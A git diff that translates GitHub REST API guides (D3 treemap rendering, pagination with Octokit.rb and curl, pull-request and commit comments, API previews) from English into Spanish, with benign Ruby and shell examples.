+Tal como sugiere la guía de "D3 para Mortales", esto no es necesariamente la mejor forma de utilizar D3. Pero nos sirve para ilustrar cómo puedes utilizar la biblioteca, junto con Octokit, para hacer algunas cosas verdaderamente increíbles.
 
-## Combining different API calls
+## Combinar las diferentes llamadas de la API
 
-Now it's time for a confession: the `language` attribute within repositories
-only identifies the "primary" language defined. That means that if you have
-a repository that combines several languages, the one with the most bytes of code
-is considered to be the primary language.
+Ahora es el momento de hacer una confesión: el atributo de `language` dentro de los repositorios solo identifica el lenguaje "primario" que se definió. Esto significa que, si tienes un repositorio que combine varios lenguajes, el que tenga más bytes de código se considera comoel primario.
 
-Let's combine a few API calls to get a _true_ representation of which language
-has the greatest number of bytes written across all our code. A [treemap][D3 treemap]
-should be a great way to visualize the sizes of our coding languages used, rather
-than simply the count. We'll need to construct an array of objects that looks
-something like this:
+Vamos a combinar algunas llamadas a la API para obtener una representación _fidedigna_ de qué lenguaje tiene la mayor cantidad de bytes escritos en todo nuestro código. Un [diagrama de árbol][D3 treemap] puede ser una manera excelente de visualizar los tamaños de los lenguajes de programación que se utilizan, en vez de utilizar solo el conteo. Necesitaremos construir una matriz de objetos que se vea más o menos así:
 
 ``` json
 [ { "name": "language1", "size": 100},
@@ -270,8 +235,7 @@ something like this:
 ]
 ```
 
-Since we already have a list of repositories above, let's inspect each one, and
-call [the language listing API method][language API]:
+Como ya tenemos una lista de repositorios anteriormente, vamos a inspeccionar cada uno y a llamar al [método de la API para listar los lenguajes][language API]:
 
 ``` ruby
 repos.each do |repo|
@@ -280,7 +244,7 @@ repos.each do |repo|
 end
 ```
 
-From there, we'll cumulatively add each language found to a list of languages:
+Desde aquí, agregaremos en una lista acumulativa cada lenguaje que encontremos:
 
 ``` ruby
 repo_langs.each do |lang, count|
@@ -292,7 +256,7 @@ repo_langs.each do |lang, count|
 end
 ```
 
-After that, we'll format the contents into a structure that D3 understands:
+Después de ésto, daremos formato al contenido en una estructura que entienda el D3:
 
 ``` ruby
 language_obj.each do |lang, count|
@@ -303,16 +267,15 @@ end
 language_bytes = [ :name => "language_bytes", :elements => language_byte_count]
 ```
 
-(For more information on D3 tree map magic, check out [this simple tutorial][language API].)
+(Para obtener más información sobre la magia del diagrama de árbo del D3, échale un vistazo a [este tutorial sencillo][language API].)
 
-To wrap up, we pass this JSON information over to the same ERB template:
+Para concluir, pasamos la información de JSON a la misma plantilla de ERB:
 
 ``` ruby
 erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json}
 ```
 
-Like before, here's a bunch of JavaScript that you can drop
-directly into your template:
+Como antes, hay mucho JavaScript que puedes dejar directamente en tu plantilla:
 
 ``` html
 <div id="byte_freq"></div>
@@ -362,19 +325,18 @@ directly into your template:
 </script>
 ```
 
-Et voila! Beautiful rectangles containing your repo languages, with relative
-proportions that are easy to see at a glance. You might need to
-tweak the height and width of your treemap, passed as the first two
-arguments to `drawTreemap` above, to get all the information to show up properly.
+¡Y voilá! Hermosos rectángulos que contienen los lenguajes de tu repositorio con proporciones relativas que se pueden ver inmediatamente. Tal vez necesites modificar la altura y el ancho de tu diagrama de árbol para pasarlo como los primeros dos argumentos en el `drawTreemap` anterior y así lograr que se muestre adecuadamente toda la información.
 
 
 [D3.js]: http://d3js.org/
 [basics-of-authentication]: /rest/guides/basics-of-authentication
+[basics-of-authentication]: /rest/guides/basics-of-authentication
 [sinatra auth github]: https://github.com/atmos/sinatra_auth_github
 [Octokit]: https://github.com/octokit/octokit.rb
+[Octokit]: https://github.com/octokit/octokit.rb
 [D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/
-[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html 
+[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html
+[language API]: /rest/reference/repos#list-repository-languages
 [language API]: /rest/reference/repos#list-repository-languages
-[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs
 [new oauth application]: https://github.com/settings/applications/new
diff --git a/translations/es-ES/content/rest/guides/traversing-with-pagination.md b/translations/es-ES/content/rest/guides/traversing-with-pagination.md
index 91595eb798..4638b9eff9 100644
--- a/translations/es-ES/content/rest/guides/traversing-with-pagination.md
+++ b/translations/es-ES/content/rest/guides/traversing-with-pagination.md
@@ -1,8 +1,8 @@
 ---
-title: Traversing with pagination
-intro: Explore how to use pagination to manage your responses with some examples using the Search API.
+title: Desplazarse con la paginación
+intro: Explora las formas para utilizar la paginación en la administración de tus respuestas con algunos ejemplos de cómo utilizar la API de Búsqueda.
 redirect_from:
-  - /guides/traversing-with-pagination/
+  - /guides/traversing-with-pagination
   - /v3/guides/traversing-with-pagination
 versions:
   fpt: '*'
@@ -11,105 +11,75 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Traverse with pagination
+shortTitle: Desplazarse con la paginación
 ---
 
-The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume.
-Most of the time, you might even find that you're asking for _too much_ information,
-and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination).
+La API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} proporciona una riqueza informativa vasta para el consumo de los desarrolladores. La mayoría de las veces incluso podrías encontrar que estás pidiendo _demasiada_ información y, para mantener felices a nuestros servidores, la API [paginará los elementos solicitados](/rest/overview/resources-in-the-rest-api#pagination) automáticamente.
 
-In this guide, we'll make some calls to the Search API, and iterate over
-the results using pagination. You can find the complete source code for this project
-in the [platform-samples][platform samples] repository.
+En esta guía haremos algunos llamados a la API de Búsqueda de e iteraremos sobre los resultados utilizando la paginación. Puedes encontrar todo el código fuente de este proyecto en el repositorio [platform-samples][platform samples].
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Basics of Pagination
+## Fundamentos de la Paginación
 
-To start with, it's important to know a few facts about receiving paginated items:
+Para empezar, es importante saber algunos hechos acerca de recibir elementos paginados:
 
-1. Different API calls respond with different defaults. For example, a call to
-[List public repositories](/rest/reference/repos#list-public-repositories)
-provides paginated items in sets of 30, whereas a call to the GitHub Search API
-provides items in sets of 100
-2. You can specify how many items to receive (up to a maximum of 100); but,
-3. For technical reasons, not every endpoint behaves the same. For example,
-[events](/rest/reference/activity#events) won't let you set a maximum for items to receive.
-Be sure to read the documentation on how to handle paginated results for specific endpoints.
+1. Las diferentes llamadas a la API responden con predeterminados diferentes también. Por ejemplo, una llamada a [Listar repositorios públicos](/rest/reference/repos#list-public-repositories) proporciona elementos paginados en conjuntos de 30, mientras que una llamada a la API de Búsqueda de GitHub proporciona elementos en conjuntos de 100
+2. Puedes especificar cuantos elementos quieres recibir (hasta llegar a 100 como máxmo); pero,
+3. Por razones técnicas, no todas las terminales se comportan igual. Por ejemplo, los [eventos](/rest/reference/activity#events) no te dejarán usar un máximo de elementos a recibir. Asegúrate de leer la documentación sobre cómo gestionar los resultados paginados para terminales específicas.
 
-Information about pagination is provided in [the Link header](https://datatracker.ietf.org/doc/html/rfc5988)
-of an API call. For example, let's make a curl request to the search API, to find
-out how many times Mozilla projects use the phrase `addClass`:
+Te proporcionamos la información sobre la paginación en [el encabezado de enlace](https://datatracker.ietf.org/doc/html/rfc5988) de una llamada a la API. Por ejemplo, vamos a hacer una solicitud de curl a la API de búsqueda para saber cuántas veces se utiliza la frase `addClass` en los proyectos de Mozilla:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla"
 ```
 
-The `-I` parameter indicates that we only care about the headers, not the actual
-content. In examining the result, you'll notice some information in the Link header
-that looks like this:
+El parámetro `-I` indica que solo nos interesan los encabezados y no el contenido en sí. Al examinar el resultado, notarás alguna información en el encabezado de enlace, la cual se ve así:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last"
 
-Let's break that down. `rel="next"` says that the next page is `page=2`. This makes
-sense, since by default, all paginated queries start at page `1.` `rel="last"`
-provides some more information, stating that the last page of results is on page `34`.
-Thus, we have 33 more pages of information about `addClass` that we can consume.
-Nice!
+Vamos a explicarlo. `rel="next"` dice que la siguiente página es la `page=2`. Esto tiene sentido ya que, predeterminadamente, todas las consultas paginadas inician en la página `1.` y `rel="last"` proporciona más información, lo cual nos dice que la última página de los resultados es la `34`. Por lo tanto, tenemos otras 33 páginas de información que podemos consumir acerca de `addClass`. ¡Excelente!
 
-**Always** rely on these link relations provided to you. Don't try to guess or construct your own URL.
+Confía **siempre** en estas relaciones de enlace que se te proporcionan. No intentes adivinar o construir tu propia URL.
 
-### Navigating through the pages
+### Navegar a través de las páginas
 
-Now that you know how many pages there are to receive, you can start navigating
-through the pages to consume the results. You do this by passing in a `page`
-parameter. By default, `page` always starts at `1`. Let's jump ahead to page 14
-and see what happens:
+Ahora que sabescuántas páginas hay para recibir, puedes comenzar a navegar a través de ellas para consumir los resultados. Esto se hace pasando un parámetro de `page`. Predeterminadamente, la `page` siempre comienza en `1`. Vamos a saltar a la página 14 para ver qué pasa:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14"
 ```
 
-Here's the link header once more:
+Aquí está el encabezado de enlace una vez más:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=1>; rel="first",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=13>; rel="prev"
 
-As expected, `rel="next"` is at 15, and `rel="last"` is still 34. But now we've
-got some more information: `rel="first"` indicates the URL for the _first_ page,
-and more importantly, `rel="prev"` lets you know the page number of the previous
-page. Using this information, you could construct some UI that lets users jump
-between the first, previous, next, or last list of results in an API call.
+Como era de esperarse, la `rel="next"` está en 15, y la `rel="last"` es aún 34. Pero ahora tenemos más información: `rel="first"` indica la URL de la _primera_ página, y lo que es más importante, `rel="prev"` te dice el número de página de la página anterior. Al utilizar esta información, puedes construir alguna IU que le permita a los usuarios saltar entre la lista de resultados principal, previa o siguiente en una llamada a la API.
 
-### Changing the number of items received
+### Cambiar la cantidad de elementos recibidos
 
-By passing the `per_page` parameter, you can specify how many items you want
-each page to return, up to 100 items. Let's try asking for 50 items about `addClass`:
+Al pasar el parámetro `per_page`, puedes especificar cuantos elementos quieres que devuelva cada página, hasta un máximo de 100 de ellos. Vamos a comenzar pidiendo 50 elementos acerca de `addClass`:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50"
 ```
 
-Notice what it does to the header response:
+Nota lo que hace en la respuesta del encabezado:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=20>; rel="last"
 
-As you might have guessed, the `rel="last"` information says that the last page
-is now 20. This is because we are asking for more information per page about
-our results.
+Como habrás adivinado, la información de la `rel="last"` dice que la última página ahora es la 20. Esto es porque estamos pidiendo más información por página acerca de nuestros resultados.
 
-## Consuming the information
+## Consumir la información
 
-You don't want to be making low-level curl calls just to be able to work with
-pagination, so let's write a little Ruby script that does everything we've
-just described above.
+No debes estar haciendo llamadas de curl de bajo nivel para poder trabajar con la paginación, así que escribamos un script de Ruby sencillo que haga todo lo que acabamos de describir anteriormente.
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and
-pass in our [personal access token][personal token]:
+Como siempre, primero solicitaremos la biblioteca de Ruby [Octokit.rb de GitHub][octokit.rb] y pasaremos nuestro [token de acceso personal][personal token]:
 
 ``` ruby
 require 'octokit'
@@ -119,26 +89,16 @@ require 'octokit'
 client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
 ```
 
-Next, we'll execute the search, using Octokit's `search_code` method. Unlike
-using `curl`, we can also immediately retrieve the number of results, so let's
-do that:
+Después, ejecutaremos la búsqueda utilizando el método `search_code` de Octokit. A diferencia de cuando se utiliza `curl`, también podemos recuperar de inmediato la cantidad de resultados, así que hagámoslo:
 
 ``` ruby
 results = client.search_code('addClass user:mozilla')
 total_count = results.total_count
 ```
 
-Now, let's grab the number of the last page, similar to `page=34>; rel="last"`
-information in the link header. Octokit.rb support pagination information through
-an implementation called "[Hypermedia link relations][hypermedia-relations]."
-We won't go into detail about what that is, but, suffice to say, each element
-in the `results` variable has a hash called `rels`, which can contain information
-about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're
-on. These relations also contain information about the resulting URL, by calling
-`rels[:last].href`.
+Ahora tomemos el número de la última página de forma similar a la información de `page=34>; rel="last"` en el encabezado de enlace. Octokit.rb es compatible con información de paginación a través de una implementación llamada "[Relaciones de enlace de hipermedios][hypermedia-relations]." No entraremos en detalles sobre lo que es, pero basta con decir que cada elemento en la variable de `results` tiene un hash que se llama `rels`, el cual contiene información sobre `:next`, `:last`, `:first`, y `:prev`, dependiendo del resultado en el que estés. Estas relaciones también contienen información sobre la URL resultante llamando a `rels[:last].href`.
 
-Knowing this, let's grab the page number of the last result, and present all
-this information to the user:
+Ahora que sabemos esto, vamos a tomar el número de página del último resultado y a presentar toda esta información al usuario:
 
 ``` ruby
 last_response = client.last_response
@@ -147,13 +107,7 @@ number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`,
-but instead, let's follow the `rels[:next]` headers to retrieve information from
-each page. For the sake of simplicity, let's just grab the file path of the first
-result from each page. To do this, we'll need a loop; and at the end of every loop,
-we'll retrieve the data set for the next page by following the `rels[:next]` information.
-The loop will finish when there is no `rels[:next]` information to consume (in other
-words, we are at `rels[:last]`). It might look something like this:
+Por último, vamos a iterar entre los resultados. Puedes hacerlo con un bucle como `for i in 1..number_of_pages.to_i`, pero mejor vamos a seguir los encabezados de `rels[:next]` para recuperar la información de cada página. Para mantener la simplicidad, solo vamos a tomar la ruta del archivo del primer resultado de cada página. Para hacerlo, vamos a necesitar un bucle; y al final de cada bucle, vamos a recuperar los datos que se configuraron para la siguiente página siguiendo la información de `rels[:next]`. El bucle terminará cuando ya no haya información de `rels[:next]` que consumir (es decir, cuando estemos en `rels[:last]`). Se verá más o menos así:
 
 ``` ruby
 puts last_response.data.items.first.path
@@ -163,9 +117,7 @@ until last_response.rels[:next].nil?
 end
 ```
 
-Changing the number of items per page is extremely simple with Octokit.rb. Simply
-pass a `per_page` options hash to the initial client construction. After that,
-your code should remain intact:
+Cambiar la cantidad de elementos por página es extremadamente simple con Octokit.rb. Simplemente pasa un hash de opciones de `per_page` a la construcción del cliente inicial. Después de ésto, tu código debería permanecer intacto:
 
 ``` ruby
 require 'octokit'
@@ -192,17 +144,15 @@ until last_response.rels[:next].nil?
 end
 ```
 
-## Constructing Pagination Links
+## Construir enlaces de paginación
 
-Normally, with pagination, your goal isn't to concatenate all of the possible
-results, but rather, to produce a set of navigation, like this:
+Habitualmente, con la paginación, tu meta no es concentrar todos los resultados posibles, sino más bien producir un conjunto de navegación, como éste:
 
-![Sample of pagination links](/assets/images/pagination_sample.png)
+![Muestra de los enlaces de paginación](/assets/images/pagination_sample.png)
 
-Let's sketch out a micro-version of what that might entail.
+Vamos a modelar una micro versión de lo que esto podría implicar.
 
-From the code above, we already know we can get the `number_of_pages` in the
-paginated results from the first call:
+Desde el código anterior, ya sabemos que podemos obtener el `number_of_pages` en los resultados paginados desde la primera llamada:
 
 ``` ruby
 require 'octokit'
@@ -221,7 +171,7 @@ puts last_response.rels[:last].href
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-From there, we can construct a beautiful ASCII representation of the number boxes:
+Desde aquí, podemos construir una hermosa representación en ASCII de las cajas de número:
 ``` ruby
 numbers = ""
 for i in 1..number_of_pages.to_i
@@ -230,8 +180,7 @@ end
 puts numbers
 ```
 
-Let's simulate a user clicking on one of these boxes, by constructing a random
-number:
+Vamos a simular que un usuario da clic en alguna de estas cajas mediante la construcción de un número aleatorio:
 
 ``` ruby
 random_page = Random.new
@@ -240,15 +189,13 @@ random_page = random_page.rand(1..number_of_pages.to_i)
 puts "A User appeared, and clicked number #{random_page}!"
 ```
 
-Now that we have a page number, we can use Octokit to explicitly retrieve that
-individual page, by passing the `:page` option:
+Ahora que tenemos un número de página, podemos usar el Octokit para recuperar explícitamente dicha página individual si pasamos la opción `:page`:
 
 ``` ruby
 clicked_results = client.search_code('addClass user:mozilla', :page => random_page)
 ```
 
-If we wanted to get fancy, we could also grab the previous and next pages, in
-order to generate links for back (`<<`) and forward (`>>`) elements:
+Si quisiéramos ponernos elegantes, podríamos también tomar la página anterior y posterior para generar los enlaces de los elementos anterior (`<<`) y posterior (`>>`):
 
 ``` ruby
 prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)"
@@ -258,9 +205,7 @@ puts "The prev page link is #{prev_page_href}"
 puts "The next page link is #{next_page_href}"
 ```
 
-[pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination
 [octokit.rb]: https://github.com/octokit/octokit.rb
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination
-[listing commits]: /rest/reference/repos#list-commits
diff --git a/translations/es-ES/content/rest/guides/working-with-comments.md b/translations/es-ES/content/rest/guides/working-with-comments.md
index f1b2f1ee34..a267281355 100644
--- a/translations/es-ES/content/rest/guides/working-with-comments.md
+++ b/translations/es-ES/content/rest/guides/working-with-comments.md
@@ -1,8 +1,8 @@
 ---
-title: Working with comments
-intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.'
+title: Trabajar con los comentarios
+intro: 'Puedes acceder y administrar los comentarios en tus solicitudes de extracción, informes de problemas o confirmaciones si utilizas la API de REST.'
 redirect_from:
-  - /guides/working-with-comments/
+  - /guides/working-with-comments
   - /v3/guides/working-with-comments
 versions:
   fpt: '*'
@@ -15,27 +15,17 @@ topics:
 
 
 
-For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views:
-[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request,
-and [comments on a specific commit][commit comment] within the Pull Request. 
+Para cualquier solicitud de extracción, {% data variables.product.product_name %} proporciona tres tipos de visualizaciones de comentario: [comentarios en la solicitud de extracción][PR comment] integrales, [comentarios en una línea específica][PR line comment] dentro de la solicitud de extracción, y [comentarios sobre una confirmación específica][commit comment] dentro de la solicitud de extracción.
 
-Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
-In this guide, we'll explore how you can access and manipulate each one. For every
-example, we'll be using [this sample Pull Request made][sample PR] on the "octocat"
-repository. As always, samples can be found in [our platform-samples repository][platform-samples].
+Cada uno de estos tipos de comentarios pasan por una porción diferente de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. En esta guía exploraremos cómo puedes acceder y manipular cada uno de ellos. En cada ejemplo utilizaremos [esta muestra de Solicitud de Extracción que se hizo][sample PR] en el repositorio de "octocat". Como siempre, puedes encontrar las muestras en [nuestro repositorio de platform-samples][platform-samples].
 
-## Pull Request Comments
+## Comentarios de las Solicitudes de Extracción
 
-To access comments on a Pull Request, you'll go through [the Issues API][issues].
-This may seem counterintuitive at first. But once you understand that a Pull
-Request is just an Issue with code, it makes sense to use the Issues API to
-create comments on a Pull Request.
+Para acceder a loscomentarios de una solicitud de cambios, deberás de pasar por la [API de propuestas][issues]. Esto puede parecer contraintuitivo al principio. Pero una vez que entiendes que una Solicitud de Extracción es solo un informe de problemas con código, tendrá sentido utuilizar la API de Informes de Problemas para crear comentarios en una solicitud de extracción.
 
-We'll demonstrate fetching Pull Request comments by creating a Ruby script using
-[Octokit.rb][octokit.rb]. You'll also want to create a [personal access token][personal token].
+Demostraremos cómo obtener comentarios de una solicitud de extracción mediante la creación de un script de Ruby que utilice [Octokit.rb][octokit.rb]. También deberás crear un [token de acceso personal][personal token].
 
-The following code should help you get started accessing comments from a Pull Request
-using Octokit.rb:
+El código siguiente debería ayudarte a empezar a acceder a los comentarios de una solicitud de extracción utilizando Octokit.rb:
 
 ``` ruby
 require 'octokit'
@@ -53,18 +43,13 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`),
-providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID
-we're interested in (`1176`). After that, it's simply a matter of iterating through
-the comments to fetch information about each one.
+Aquí estamos llamando específicamente a la API de Informes de problemas para obtener los comentarios (`issue_comments`), proporcionando tanto el nombre del repositorio (`octocat/Spoon-Knife`) como la ID de la solicitud de extracción en la que estamos interesados (`1176`). Después, solo es cuestión de iterar a través de los comentarios para obtener la información sobre cada uno.
 
-## Pull Request Comments on a Line
+## Comentarios en una línea de una solicitud de extracción
 
-Within the diff view, you can start a discussion on a particular aspect of a singular
-change made within the Pull Request. These comments occur on the individual lines
-within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API].
+Dentro de la vista de diferencias, puedes iniciar un debate sobre algún aspecto específico de un cambio particular que se haya hecho dentro de la solicitud de extracción. Estos comentarios ocurren en las líneas individuales dentro de un archivo que ha cambiado. La URL de la terminal para este debate veien de [la API de Revisión de Solicitudes de Cambios][PR Review API].
 
-The following code fetches all the Pull Request comments made on files, given a single Pull Request number:
+El código siguiente obtiene todos los comentarios de la solicitud de extracción que se hayan hecho en los archivos, si se le da un número particular de solicitud de extracción:
 
 ``` ruby
 require 'octokit'
@@ -84,19 +69,13 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-You'll notice that it's incredibly similar to the example above. The difference
-between this view and the Pull Request comment is the focus of the conversation.
-A comment made on a Pull Request should be reserved for discussion or ideas on
-the overall direction of the code. A comment made as part of a Pull Request review should
-deal specifically with the way a particular change was implemented within a file.
+Te darás cuenta de que es increíblemente similar al ejemplo anterior. La diferencia entre esta vista y el comentario de la solicitud de extracción es el enfoque de la conversación. El comentario que se haga en una solicitud de extracción deberá reservarse para debatir ideas sobre el enfoque general del código. Cualquier comentario que se haga como parte de una revisión de una Solicitud de Extracción deberá tratar específicamente la forma en la que se implementa un cambio específico dentro de un archivo.
 
-## Commit Comments
+## Comentarios de las confirmaciones
 
-The last type of comments occur specifically on individual commits. For this reason,
-they make use of [the commit comment API][commit comment API].
+El último tipo de comentarios suceden específicamente en confirmaciones individuales. Es por esto que utilizan [la API de comentarios de confirmaciones][commit comment API].
 
-To retrieve the comments on a commit, you'll want to use the SHA1 of the commit.
-In other words, you won't use any identifier related to the Pull Request. Here's an example:
+Para recuperar los comentarios en una confirmación, necesitarás utilizar el SHA1 de ésta. Es decir, no utilizarás ningún identificador relacionado con la Solicitud de Extracción. Aquí hay un ejemplo:
 
 ``` ruby
 require 'octokit'
@@ -114,8 +93,7 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a
 end
 ```
 
-Note that this API call will retrieve single line comments, as well as comments made
-on the entire commit.
+Ten en cuenta que esta llamada a la API recuperará comentarios de una sola línea, así como aquellos que se hagan en toda la confirmación.
 
 [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792
 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889
@@ -126,4 +104,4 @@ on the entire commit.
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [octokit.rb]: https://github.com/octokit/octokit.rb
 [PR Review API]: /rest/reference/pulls#comments
-[commit comment API]: /rest/reference/repos#get-a-commit-comment
+[commit comment API]: /rest/reference/commits#get-a-commit-comment
diff --git a/translations/es-ES/content/rest/index.md b/translations/es-ES/content/rest/index.md
index 789e0c3023..ed572b8d65 100644
--- a/translations/es-ES/content/rest/index.md
+++ b/translations/es-ES/content/rest/index.md
@@ -1,24 +1,24 @@
 ---
-title: GitHub REST API
-shortTitle: REST API
-intro: 'To create integrations, retrieve data, and automate your workflows, build with the {% data variables.product.prodname_dotcom %} REST API.'
+title: API de REST de GitHub
+shortTitle: API de REST
+intro: 'Para crear integraciones, recuperar datos y automatizar tus flujos de trabajo, compila con la API de REST de {% data variables.product.prodname_dotcom %}.'
 introLinks:
   quickstart: /rest/guides/getting-started-with-the-rest-api
 featuredLinks:
   guides:
-  - /rest/guides/getting-started-with-the-rest-api
-  - /rest/guides/basics-of-authentication
-  - /rest/guides/best-practices-for-integrators
+    - /rest/guides/getting-started-with-the-rest-api
+    - /rest/guides/basics-of-authentication
+    - /rest/guides/best-practices-for-integrators
   popular:
-  - /rest/overview/resources-in-the-rest-api
-  - /rest/overview/other-authentication-methods
-  - /rest/overview/troubleshooting
-  - /rest/overview/endpoints-available-for-github-apps
-  - /rest/overview/openapi-description
+    - /rest/overview/resources-in-the-rest-api
+    - /rest/overview/other-authentication-methods
+    - /rest/overview/troubleshooting
+    - /rest/overview/endpoints-available-for-github-apps
+    - /rest/overview/openapi-description
   guideCards:
-  - /rest/guides/delivering-deployments
-  - /rest/guides/getting-started-with-the-checks-api
-  - /rest/guides/traversing-with-pagination
+    - /rest/guides/delivering-deployments
+    - /rest/guides/getting-started-with-the-checks-api
+    - /rest/guides/traversing-with-pagination
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/es-ES/content/rest/overview/api-previews.md b/translations/es-ES/content/rest/overview/api-previews.md
index 36d03bec29..c2421d591d 100644
--- a/translations/es-ES/content/rest/overview/api-previews.md
+++ b/translations/es-ES/content/rest/overview/api-previews.md
@@ -1,6 +1,6 @@
 ---
-title: API previews
-intro: You can use API previews to try out new features and provide feedback before these features become official.
+title: Vistas previas de la API
+intro: Puedes utilizar las vistas previas de la API para probar características nuevas y proporcionar retroalimentación antes de que dichas características se hagan oficiales.
 redirect_from:
   - /v3/previews
 versions:
@@ -13,232 +13,210 @@ topics:
 ---
 
 
-API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API.
+Las vistas previas de la API te permiten probar API nuevas y cambios a los métodos existentes de las API antes de que se hagan oficiales en la API de GitHub.
 
-During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice.
+Durante el periodo de vista previa, podríamos cambiar algunas características con base en la retroalimentación de los desarrolladores. Si realizamos cambios, lo anunciaremos en el [blog de desarrolladores](https://developer.github.com/changes/) sin aviso previo.
 
-To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide.
+Para acceder a la vista previa de las API, necesitarás proporcionar un [tipo de medios](/rest/overview/media-types) personalizado en el encabezado `Accept` para tus solicitudes. La documentación de características para cada vista previa especifica qué tipo de medios personalizados proporcionar.
 
 {% ifversion ghes < 3.3 %}
 
-## Enhanced deployments
+## Despliegues ampliados
 
-Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity.
+Ejerce mayo control sobre los [despliegues](/rest/reference/repos#deployments) con más información y granularidad más fina.
 
-**Custom media type:** `ant-man-preview`
-**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
+**Tipo de medios personalizados:** `ant-man-preview` **Anunciado en:**[2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Reactions
+## Reacciones
 
-Manage [reactions](/rest/reference/reactions) for commits, issues, and comments.
+Administra las [reacciones](/rest/reference/reactions) para las confirmaciones, informes de problemas y comentarios.
 
-**Custom media type:** `squirrel-girl-preview`
-**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/)
-**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
+**Tipo de medios personalizado:** `squirrel-girl-preview` **Anunciado en:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **Actualizado en:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Timeline
+## Línea de tiempo
 
-Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request.
+Obtén una [lista de eventos](/rest/reference/issues#timeline) para un informe de problemas o solictud de extracción.
 
-**Custom media type:** `mockingbird-preview`
-**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
+**Tipo de medios personalizados:** `mockingbird-preview` **Anunciado en:**[2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
 
 {% endif %}
 
 {% ifversion ghes %}
-## Pre-receive environments
+## Ambientes de pre-recepción
 
-Create, list, update, and delete environments for pre-receive hooks.
+Crea, lista, actualiza y borra ambientes para los ganchos de pre-recepción.
 
-**Custom media type:** `eye-scream-preview`
-**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
+**Tipo de medios personalizados:** `eye-scream-preview` **Anunciado en:**[2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
-## Projects
+## Proyectos
 
-Manage [projects](/rest/reference/projects).
+Administra [proyectos](/rest/reference/projects).
 
